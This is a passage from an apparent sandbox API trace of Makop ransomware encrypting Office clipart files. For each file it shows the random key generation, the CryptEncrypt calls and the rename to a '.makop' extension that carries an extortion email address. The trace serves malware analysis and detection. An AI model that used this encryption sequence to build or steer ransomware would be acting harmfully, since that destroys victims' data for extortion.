nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1370, lpOverlapped=0x0) returned 1 [0116.738] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.739] SetEndOfFile (hFile=0xf0) returned 1 [0116.745] GetProcessHeap () returned 0x48a0000 [0116.745] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.745] GetProcessHeap () returned 0x48a0000 [0116.745] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.745] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.747] CloseHandle (hObject=0xf0) returned 1 [0116.747] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1 [0116.747] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0116.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.752] GetProcessHeap () returned 0x48a0000 [0116.752] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.752] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0116.757] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.757] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.757] GetProcessHeap () returned 0x48a0000 [0116.757] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.757] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.758] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.758] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.759] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.759] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.759] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.759] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.759] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x60b7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x60b7, lpOverlapped=0x0) returned 1 [0116.761] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60c0, dwBufLen=0x60c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60c0) returned 1 [0116.761] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.761] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x60c0, lpOverlapped=0x0) returned 1 [0116.762] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.762] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.762] SetEndOfFile (hFile=0xf0) returned 1 [0116.770] GetProcessHeap () returned 0x48a0000 [0116.770] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.770] GetProcessHeap () returned 0x48a0000 [0116.770] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.771] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.776] CloseHandle (hObject=0xf0) returned 1 [0116.776] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1 [0116.776] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63 [0116.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.777] GetProcessHeap () returned 0x48a0000 [0116.777] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.778] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.778] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0116.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.782] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.782] GetProcessHeap () returned 0x48a0000 [0116.782] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.783] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.783] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.784] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.784] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.784] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.784] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40d4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x40d4, lpOverlapped=0x0) returned 1 [0116.786] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40e0, dwBufLen=0x40e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40e0) returned 1 [0116.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x40e0, lpOverlapped=0x0) returned 1 [0116.786] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x41b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.787] SetEndOfFile (hFile=0xf0) returned 1 [0116.793] GetProcessHeap () returned 0x48a0000 [0116.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.793] GetProcessHeap () returned 0x48a0000 [0116.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.794] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.796] CloseHandle (hObject=0xf0) returned 1 [0116.796] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1 [0116.796] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG") returned 63 [0116.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.797] GetProcessHeap () returned 0x48a0000 [0116.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.797] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.797] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.797] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0116.801] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.801] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.801] GetProcessHeap () returned 0x48a0000 [0116.801] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.802] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.802] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.802] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.803] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.803] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5f39, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5f39, lpOverlapped=0x0) returned 1 [0116.805] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f40, dwBufLen=0x5f40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f40) returned 1 [0116.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5f40, lpOverlapped=0x0) returned 1 [0116.806] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.806] SetEndOfFile (hFile=0xf0) returned 1 [0116.814] GetProcessHeap () returned 0x48a0000 [0116.814] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.814] GetProcessHeap () returned 0x48a0000 [0116.814] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.814] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.816] CloseHandle (hObject=0xf0) returned 1 [0116.816] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1 [0116.816] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0116.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.817] GetProcessHeap () returned 0x48a0000 [0116.817] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.817] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0116.822] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.822] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.822] GetProcessHeap () returned 0x48a0000 [0116.822] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.822] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.822] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.823] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.823] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.823] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.823] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.823] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.823] ReadFile (in: hFile=0xf0, 